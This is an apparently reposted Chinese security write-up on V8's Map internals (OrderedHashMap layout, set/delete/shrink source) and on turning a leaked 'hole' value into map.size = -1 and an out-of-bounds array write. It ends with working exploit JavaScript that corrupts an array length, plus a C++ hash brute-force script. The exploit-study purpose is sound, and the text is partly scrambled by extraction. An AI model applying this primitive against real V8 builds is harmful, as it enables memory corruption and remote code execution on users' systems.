一
JSMap
V8
中的Map
是在哈希表的基础上构建出来的,但是不等同于哈希表,因为哈希表是不提供插入元素的顺序保证的,但是ES
标准要求Map
要记录元素的插入顺序。Map
底层采用的是deterministic hash tables,当然对于我们而言无需关心其具体是什么,类似哈希表就完了。确定性哈希表采用的数据结构伪代码如下:interface Entry {
key: any;
value: any;
chain: number;
}interface CloseTable {
hashTable: number[];
dataTable: Entry[];
nextSlot: number;
size: number;
}
CloseTable
代码的就是代表的哈希表,其成员hashTable
的大小代表buckets
的数量,其第i
个元素代表的就是第i
个buckets
头元素在dataTable
中的index
:hashTable
当作bucket
使用数组,dataTable
当作bucket
数组就好了,这样做的目的就是为了记录元素的插入顺序。key
和value
设置为undefined
,所以这里被删除的元素仍然占据内存空间。dataTable
满了,V8
是如何进行扩容的呢?这里引入v8
中的实现规则:dataTable.length = 2 * bucket = 2 * hashTable.length
v8
中Map
的内存模型了在简单验证验证。v8
中,JSMap
的内存布局如下:Map
:就不多说了,就是每个对象都有的,表示对象的shape
FixedArray Length
:整个OrderedHashMap
的大小,其实就是一个FixedArray
elements
:存在的entry
的数量deleteds
:被删除的entry
的数量buckets
:bucket
的数量hashTable
、dataTable
就是上面介绍的两个表var map = new Map(); %DebugPrint(map);
readline();map.set(1, 1);
map.set(2, 1);
map.set(3, 1);
map.set(4, 1);
%DebugPrint(map);
readline();map.delete(3);
%DebugPrint(map);
readline();map.set(5, 1);
%DebugPrint(map);
readline();
OrderedHashMap
:buckets
的数量为2
:dataTable
的大小为12
(8字节为单位哈),而每个entry
占 3,所以总的容量其实就是4
,其为2 * buckets
是满足之前说的dataTable.length = 2 * buckets = 2 * hashTable.length
。hashTable
和dataTable
,这里我直接画了一个图:for...of
循环确实是按照顺序打印的:......
for (let x of map) {
print(x);
}
(3, 1)
:elements = 3
,而deleteds = 1
,这是符合逻辑的,并且hashTable
并没有改变,仅仅将对应的entry
的key/value
设置成了#hole
:OrderedHashMap
已经发生了变换,即这里发生了扩容:OrderedHashMap
:deleted entry
:map.set(key, value)
的作用就是给map
添加元素(其实就是键值对,只是笔者习惯叫做元素,读者自己明白就好),其在V8
层面的接口定义如下:TF_BUILTIN(MapPrototypeSet, CollectionsBuiltinsAssembler) {
Node* const receiver = Parameter(Descriptor::kReceiver);
Node* key = Parameter(Descriptor::kKey);
Node* const value = Parameter(Descriptor::kValue);
Node* const context = Parameter(Descriptor::kContext);
ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE, "Map.prototype.set");
key = NormalizeNumberKey(key);
TNode<OrderedHashMap> const table = CAST(LoadObjectField(receiver, JSMap::kTableOffset));VARIABLE(entry_start_position_or_hash, MachineType::PointerRepresentation(), IntPtrConstant(0));
Label entry_found(this), not_found(this);
TryLookupOrderedHashTableIndex<OrderedHashMap>(table, key, context,
&entry_start_position_or_hash,
&entry_found, ¬_found);
BIND(&entry_found);
StoreFixedArrayElement(table, entry_start_position_or_hash.value(), value,
UPDATE_WRITE_BARRIER,
kPointerSize * (OrderedHashMap::kHashTableStartIndex +
OrderedHashMap::kValueOffset));
Return(receiver);Label no_hash(this), add_entry(this), store_new_entry(this);
BIND(¬_found);
{
GotoIf(IntPtrGreaterThan(entry_start_position_or_hash.value(), IntPtrConstant(0)), &add_entry);
entry_start_position_or_hash.Bind(SmiUntag(CallGetOrCreateHashRaw(key)));
Goto(&add_entry);
}BIND(&add_entry);
VARIABLE(number_of_buckets, MachineType::PointerRepresentation());
VARIABLE(occupancy, MachineType::PointerRepresentation());
TVARIABLE(OrderedHashMap, table_var, table);
{
number_of_buckets.Bind(SmiUntag(CAST(LoadFixedArrayElement(table, OrderedHashMap::kNumberOfBucketsIndex))));
STATIC_ASSERT(OrderedHashMap::kLoadFactor == 2);
Node* const capacity = WordShl(number_of_buckets.value(), 1);
Node* const number_of_elements = SmiUntag(CAST(LoadObjectField(
table, OrderedHashMap::kNumberOfElementsOffset)));
Node* const number_of_deleted = SmiUntag(CAST(LoadObjectField(
table, OrderedHashMap::kNumberOfDeletedElementsOffset)));
occupancy.Bind(IntPtrAdd(number_of_elements, number_of_deleted));
GotoIf(IntPtrLessThan(occupancy.value(), capacity), &store_new_entry);
CallRuntime(Runtime::kMapGrow, context, receiver);
table_var = CAST(LoadObjectField(receiver, JSMap::kTableOffset));
number_of_buckets.Bind(SmiUntag(CAST(LoadFixedArrayElement(
table_var.value(), OrderedHashMap::kNumberOfBucketsIndex))));
Node* const new_number_of_elements = SmiUntag(CAST(LoadObjectField(
table_var.value(), OrderedHashMap::kNumberOfElementsOffset)));
Node* const new_number_of_deleted = SmiUntag(CAST(LoadObjectField(
table_var.value(), OrderedHashMap::kNumberOfDeletedElementsOffset)));
occupancy.Bind(IntPtrAdd(new_number_of_elements, new_number_of_deleted));
Goto(&store_new_entry);
}
BIND(&store_new_entry);
StoreOrderedHashMapNewEntry(table_var.value(), key, value,
entry_start_position_or_hash.value(),
number_of_buckets.value(), occupancy.value());
Return(receiver);
}
set
的整个逻辑如下:检查 key 是否存在
若不存在空闲的 entry,则进行扩容,然后填充 entry
若存在空闲的 entry,则直接填充 entry
若 key 存在,则直接更新 value
若 key 不存在,则检查是否存在空闲 entry
TryLookupOrderedHashTableIndex
函数去寻找key
对应的entry
的,即判断key
是否存在:template <typename CollectionType>
void CollectionsBuiltinsAssembler::TryLookupOrderedHashTableIndex(
Node* const table, Node* const key, Node* const context, Variable* result,
Label* if_entry_found, Label* if_not_found) {
Label if_key_smi(this), if_key_string(this), if_key_heap_number(this), if_key_bigint(this);GotoIf(TaggedIsSmi(key), &if_key_smi);
Node* key_map = LoadMap(key);
Node* key_instance_type = LoadMapInstanceType(key_map);GotoIf(IsStringInstanceType(key_instance_type), &if_key_string);
GotoIf(IsHeapNumberMap(key_map), &if_key_heap_number);
GotoIf(IsBigIntInstanceType(key_instance_type), &if_key_bigint);FindOrderedHashTableEntryForOtherKey<CollectionType>(
context, table, key, result, if_entry_found, if_not_found);BIND(&if_key_smi);
{
FindOrderedHashTableEntryForSmiKey<CollectionType>(
table, key, result, if_entry_found, if_not_found);
}BIND(&if_key_string);
{
FindOrderedHashTableEntryForStringKey<CollectionType>(
context, table, key, result, if_entry_found, if_not_found);
}BIND(&if_key_heap_number);
{
FindOrderedHashTableEntryForHeapNumberKey<CollectionType>(
context, table, key, result, if_entry_found, if_not_found);
}BIND(&if_key_bigint);
{
FindOrderedHashTableEntryForBigIntKey<CollectionType>(
context, table, key, result, if_entry_found, if_not_found);
}
}
key
,有着不同的寻找方式,这里以Smi
类型的key
为例,对于Smi
类型的key
寻找其entry
利用的函数是FindOrderedHashTableEntryForSmiKey
:template <typename CollectionType>
void CollectionsBuiltinsAssembler::FindOrderedHashTableEntryForSmiKey(
Node* table, Node* smi_key, Variable* result, Label* entry_found,
Label* not_found) {
Node* const key_untagged = SmiUntag(smi_key);
Node* const hash = ChangeInt32ToIntPtr(ComputeIntegerHash(key_untagged, Int32Constant(0)));
CSA_ASSERT(this, IntPtrGreaterThanOrEqual(hash, IntPtrConstant(0)));
result->Bind(hash);
FindOrderedHashTableEntry<CollectionType>(
table, hash,
[&](Node* other_key, Label* if_same, Label* if_not_same) {
SameValueZeroSmi(smi_key, other_key, if_same, if_not_same);
},
result, entry_found, not_found);
}
ComputeIntegerHash
计算出key
的哈希值,然后再用FindOrderedHashTableEntry
进行查找,ComputeIntegerHash
函数如下:inline uint32_t ComputeIntegerHash(uint32_t key, uint64_t seed) {
uint32_t hash = key;
hash = hash ^ static_cast<uint32_t>(seed);
hash = ~hash + (hash << 15); // hash = (hash << 15) - hash - 1;
hash = hash ^ (hash >> 12);
hash = hash + (hash << 2);
hash = hash ^ (hash >> 4);
hash = hash * 2057; // hash = (hash + (hash << 3)) + (hash << 11);
hash = hash ^ (hash >> 16);
return hash & 0x3fffffff;
}
FindOrderedHashTableEntry
上:template <typename CollectionType>
void CodeStubAssembler::FindOrderedHashTableEntry(
Node* table, Node* hash,
std::function<void(Node*, Label*, Label*)> key_compare,
Variable* entry_start_position, Label* entry_found, Label* not_found) {
Node* const number_of_buckets = SmiUntag(CAST(LoadFixedArrayElement(
CAST(table), CollectionType::kNumberOfBucketsIndex)));
Node* const bucket =
WordAnd(hash, IntPtrSub(number_of_buckets, IntPtrConstant(1)));
Node* const first_entry = SmiUntag(CAST(LoadFixedArrayElement(
CAST(table), bucket,
CollectionType::kHashTableStartIndex * kPointerSize)));
Node* entry_start;
Label if_key_found(this);
{
VARIABLE(var_entry, MachineType::PointerRepresentation(), first_entry);
Label loop(this, {&var_entry, entry_start_position}), continue_next_entry(this);
Goto(&loop);
BIND(&loop);
GotoIf(
WordEqual(var_entry.value(), IntPtrConstant(CollectionType::kNotFound)),
not_found);
CSA_ASSERT(
this, UintPtrLessThan(
var_entry.value(),
SmiUntag(SmiAdd(
CAST(LoadFixedArrayElement(
CAST(table), CollectionType::kNumberOfElementsIndex)),
CAST(LoadFixedArrayElement(
CAST(table), CollectionType::kNumberOfDeletedElementsIndex))))));
entry_start =
IntPtrAdd(IntPtrMul(var_entry.value(), IntPtrConstant(CollectionType::kEntrySize)),
number_of_buckets);
Node* const candidate_key = LoadFixedArrayElement(
CAST(table), entry_start,
CollectionType::kHashTableStartIndex * kPointerSize);
key_compare(candidate_key, &if_key_found, &continue_next_entry);BIND(&continue_next_entry);
var_entry.Bind(SmiUntag(CAST(LoadFixedArrayElement(
CAST(table), entry_start,
(CollectionType::kHashTableStartIndex + CollectionType::kChainOffset) *
kPointerSize))));Goto(&loop);
}BIND(&if_key_found);
entry_start_position->Bind(entry_start);
Goto(entry_found);
}
bucket
链表时存在范围检查。StoreFixedArrayElement
函数我没有找到其定义,就分析下StoreOrderedHashMapNewEntry
函数,其实都比较比较简单,值得注意的是这里写入的entry
是根据hashTable
的偏移计算得到的:void CollectionsBuiltinsAssembler::StoreOrderedHashMapNewEntry(
TNode<OrderedHashMap> const table, Node* const key, Node* const value,
Node* const hash, Node* const number_of_buckets, Node* const occupancy) {
Node* const bucket = WordAnd(hash, IntPtrSub(number_of_buckets, IntPtrConstant(1)));
Node* const bucket_entry = LoadFixedArrayElement(table, bucket, OrderedHashMap::kHashTableStartIndex * kPointerSize);
Node* const entry_start = IntPtrAdd(
IntPtrMul(occupancy, IntPtrConstant(OrderedHashMap::kEntrySize)),
number_of_buckets);
StoreFixedArrayElement(table, entry_start, key, UPDATE_WRITE_BARRIER,
kPointerSize * OrderedHashMap::kHashTableStartIndex);
StoreFixedArrayElement(table, entry_start, value, UPDATE_WRITE_BARRIER,
kPointerSize * (OrderedHashMap::kHashTableStartIndex + OrderedHashMap::kValueOffset));
StoreFixedArrayElement(table, entry_start, bucket_entry, SKIP_WRITE_BARRIER,
kPointerSize * (OrderedHashMap::kHashTableStartIndex + OrderedHashMap::kChainOffset));
StoreFixedArrayElement(table, bucket, SmiTag(occupancy), SKIP_WRITE_BARRIER,
OrderedHashMap::kHashTableStartIndex * kPointerSize);
TNode<Smi> const number_of_elements = CAST(LoadObjectField(table, OrderedHashMap::kNumberOfElementsOffset));
StoreObjectFieldNoWriteBarrier(table, OrderedHashMap::kNumberOfElementsOffset,
SmiAdd(number_of_elements, SmiConstant(1)));
}
map.delete(key)
的作用就是删除对应元素,其在V8
层的接口函数如下:TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
Node* const receiver = Parameter(Descriptor::kReceiver);
Node* key = Parameter(Descriptor::kKey);
Node* const context = Parameter(Descriptor::kContext);
ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE, "Map.prototype.delete");
TNode<OrderedHashMap> const table = CAST(LoadObjectField(receiver, JSMap::kTableOffset));VARIABLE(entry_start_position_or_hash, MachineType::PointerRepresentation(), IntPtrConstant(0));
Label entry_found(this), not_found(this);
TryLookupOrderedHashTableIndex<OrderedHashMap>(table, key, context,
&entry_start_position_or_hash,
&entry_found, ¬_found);
BIND(¬_found);
Return(FalseConstant());BIND(&entry_found);
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
TheHoleConstant(), UPDATE_WRITE_BARRIER,
kPointerSize * OrderedHashMap::kHashTableStartIndex);
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
TheHoleConstant(), UPDATE_WRITE_BARRIER,
kPointerSize * (OrderedHashMap::kHashTableStartIndex +
OrderedHashMap::kValueOffset));
TNode<Smi> const number_of_elements = SmiSub(CAST(LoadObjectField(
table, OrderedHashMap::kNumberOfElementsOffset)), SmiConstant(1));
StoreObjectFieldNoWriteBarrier(table, OrderedHashMap::kNumberOfElementsOffset, number_of_elements);
TNode<Smi> const number_of_deleted = SmiAdd(CAST(LoadObjectField(
table, OrderedHashMap::kNumberOfDeletedElementsOffset)), SmiConstant(1));
StoreObjectFieldNoWriteBarrier(table, OrderedHashMap::kNumberOfDeletedElementsOffset, number_of_deleted);
TNode<Smi> const number_of_buckets =
CAST(LoadFixedArrayElement(table, OrderedHashMap::kNumberOfBucketsIndex));
Label shrink(this);
GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements), number_of_buckets), &shrink);
Return(TrueConstant());BIND(&shrink);
CallRuntime(Runtime::kMapShrink, context, receiver);
Return(TrueConstant());
}
Runtime::kMapShrink
函数:RUNTIME_FUNCTION(Runtime_MapShrink) {
HandleScope scope(isolate);
DCHECK_EQ(1, args.length());
CONVERT_ARG_HANDLE_CHECKED(JSMap, holder, 0);
Handle<OrderedHashMap> table(OrderedHashMap::cast(holder->table()), isolate);
table = OrderedHashMap::Shrink(isolate, table);
holder->set_table(*table);
return ReadOnlyRoots(isolate).undefined_value();
}
OrderedHashMap::Shrink
函数:template <class Derived, int entrysize>
Handle<Derived> OrderedHashTable<Derived, entrysize>::Shrink(
Isolate* isolate, Handle<Derived> table) {
DCHECK(!table->IsObsolete());
int nof = table->NumberOfElements();
int capacity = table->Capacity();
if (nof >= (capacity >> 2)) return table;
return Rehash(isolate, table, capacity / 2);
}
Rehash
函数:template <class Derived, int entrysize>
Handle<Derived> OrderedHashTable<Derived, entrysize>::Rehash(
Isolate* isolate, Handle<Derived> table, int new_capacity) {
DCHECK(!table->IsObsolete());
Handle<Derived> new_table = Allocate(
isolate, new_capacity, Heap::InNewSpace(*table) ? NOT_TENURED : TENURED);
int nof = table->NumberOfElements();
int nod = table->NumberOfDeletedElements();
int new_buckets = new_table->NumberOfBuckets();
int new_entry = 0;
int removed_holes_index = 0;DisallowHeapAllocation no_gc;
for (int old_entry = 0; old_entry < (nof + nod); ++old_entry) {
Object* key = table->KeyAt(old_entry);
if (key->IsTheHole(isolate)) {
table->SetRemovedIndexAt(removed_holes_index++, old_entry);
continue;
}
Object* hash = key->GetHash();
int bucket = Smi::ToInt(hash) & (new_buckets - 1);
Object* chain_entry = new_table->get(kHashTableStartIndex + bucket);
new_table->set(kHashTableStartIndex + bucket, Smi::FromInt(new_entry));
int new_index = new_table->EntryToIndex(new_entry);
int old_index = table->EntryToIndex(old_entry);
for (int i = 0; i < entrysize; ++i) {
Object* value = table->get(old_index + i);
new_table->set(new_index + i, value);
}
new_table->set(new_index + kChainOffset, chain_entry);
++new_entry;
}DCHECK_EQ(nod, removed_holes_index);
new_table->SetNumberOfElements(nof);
table->SetNextTable(*new_table);return new_table;
}
二
利用原理
JSMap
分析了那么多,哪么hole
泄漏如何利用JSMap
进行攻击呢?Hole
是JS
内部的一种数据类型,用来标记不存在的元素,这个数据类型通常是不能泄露到用户JS
层面。Hole
类型的漏洞利用是指由于内部数据结构Hole
通过漏洞被暴露至 用户JS
层,因此可以根据Hole
创建⼀个长度为 -1 的JSMap
结构,导致越界读写,从而实现RCE
。map.delete
删除一个元素时,只是将该元素的key
、value
设置为hole
,并没有实际的删除该元素,实际上只是做了个标记,当进行shrink
操作时,这些被hole
标记的元素才会被真正的删除。那么如果我们可以创建key = hole
的元素,那么我们就可以多次删除元素从而导致map.size = -1
(当然这里前提是不进行shrink
操作,因为shrink
操作会清除hole
元素)。var map = new Map();
let hole = %TheHole();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
console.log(map.size);
elements = -1、deleted = 0、buckets = 2
:map.set(1, 1)
呢?直接map.set(hole, 1)
,然后再delete
两次不行吗?其实这里就是涉及到shrink
操作会清除hole
元素,比如考虑如下代码:var map = new Map();
let hole = %TheHole();
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
console.log(map.size);
map.set(hole, 1)
后:elements = 1、deleted = 0、buckets = 2
map.delete(hole)
后:map.delete(hole)
后,elements = 0、deleted = 1、buckets = 2
,由于elements < buckets / 2
,所以第一次delete
后会发生shrink
、从而导致hole
元素被删除,因此第二次map.delete(hole)
时直接返回false
(这里不理解的看上面delete
操作的源码分析)map.size = -1
了,哪么接下来该如何去进行OOB
呢?先来看看如果现在我们继续向map
中添加元素,这时会发生什么呢?set
操作的源码分析中,我们知道当添加一个新的元素时(即key
事先不存在)new entry
的寻找方式为:&hashTable + buckets + occupancy * 3
,这里的occupancy = elements + deleted
map.size = -1
后,其相关字段的值为:elements = -1、deleted = 0、buckets = 2
new_entry = &hashTable + 2 + (-1 + 0) * 3 = &hashTable - 1 = hashTable[-1] = &buckets
new_entry = key|value|chain = buckets|hashTbale[0]|hashTable[1]
,即下一次添加新元素时,就可以修改buckets = key1、hashTable[0] = value1
new_entry = &hashTable + buckets + (0 + 0) * 3 = hashTable[key1]
,而key1
我们是可以控制的,所以new_entry
也是可控的,从而导致越界写key/value
,这里一般就是去写JSArray
的length
字段。set
操作源码时,我们知道当对bucket
链表进行遍历时会存在检查,所以我们得让bucket[hash(key) & (buckets - 1)] = -1
从而避免遍历bucket
链表。map.size = -1
后,第一次添加新元素是无所谓的,因为此时bucket[0] = -1、bucket[1] = -1
,但是第二次就得注意了,第一次添加时会导致bucket[0] != -1
或者bucket[1] != -1
,但是其实bucket[0] = value1
,所以可以让bucket[0] = value1 = -1
,这样在第二次添加时我们只需要让:hash(key2) & (buckets - 1) = 0
即可,这里到时候爆破一下就 ok 了。var map = new Map();
var hole = leak_hole();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
map.set(oob_write_offset, -1);
var oob_array = [1.1];
var obj_arr = [{}];
var float_arr = [1.1];
var rw_arr = [1.1];
map.set(key2, value2);
key2
爆破脚本,这里的ComputeUnseededHash
函数以实际的V8
源码为准:#include <bits/stdc++.h> uint32_t ComputeUnseededHash(uint32_t key) {
uint32_t hash = key;
hash = ~hash + (hash << 15);
hash = hash ^ (hash >> 12);
hash = hash + (hash << 2);
hash = hash ^ (hash >> 4);
hash = hash * 2057;
hash = hash ^ (hash >> 16);
return hash & 0x3fffffff;
}int main() {
uint32_t key = 0x2000, buckets = 0x25;
while ((ComputeUnseededHash(key) & (buckets - 1)) != 0) {
key++;
}
printf("%#x\n", key);
return 0;
}
三
相关例题
hole
泄漏出来,后面基本都是一样的。所以这里直接用%TheHole()
来获取hole
,以此来演示利用手法:const {log} = console; var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);let d2l = (v) => {
d_buf[0] = v;
return l_buf[0];
};let l2d = (v) => {
l_buf[0] = v;
return d_buf[0];
};let hexx = (str, v) => {
log("\033[32m"+str+": \033[0m0x"+v.toString(16));
}let decc = (str, v) => {
log("\033[32m"+str+": \033[0m"+v);
}var map = new Map();
const hole = %TheHole();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
decc("map.size", map.size);map.set(37, -1);
var oob_arr = [1.1];
var tmp_arr = [2.2];
var rw_arr = [3.3];
var obj_arr = [0xeada, rw_arr];hexx("oob_arr.length", oob_arr.length);
map.set(0x2002, 0);
hexx("oob_arr.length", oob_arr.length);
oob_arr.length
成功被修改为0x2002
导致越界读写。然后就是基本的OOB
类型漏洞利用了,没什么好说的。看雪ID:XiaozaYa
https://bbs.kanxue.com/user-home-965217.htm
# 往期推荐
2、在Windows平台使用VS2022的MSVC编译LLVM16
3、神挡杀神——揭开世界第一手游保护nProtect的神秘面纱
球分享
球点赞
球在看
点击阅读原文查看更多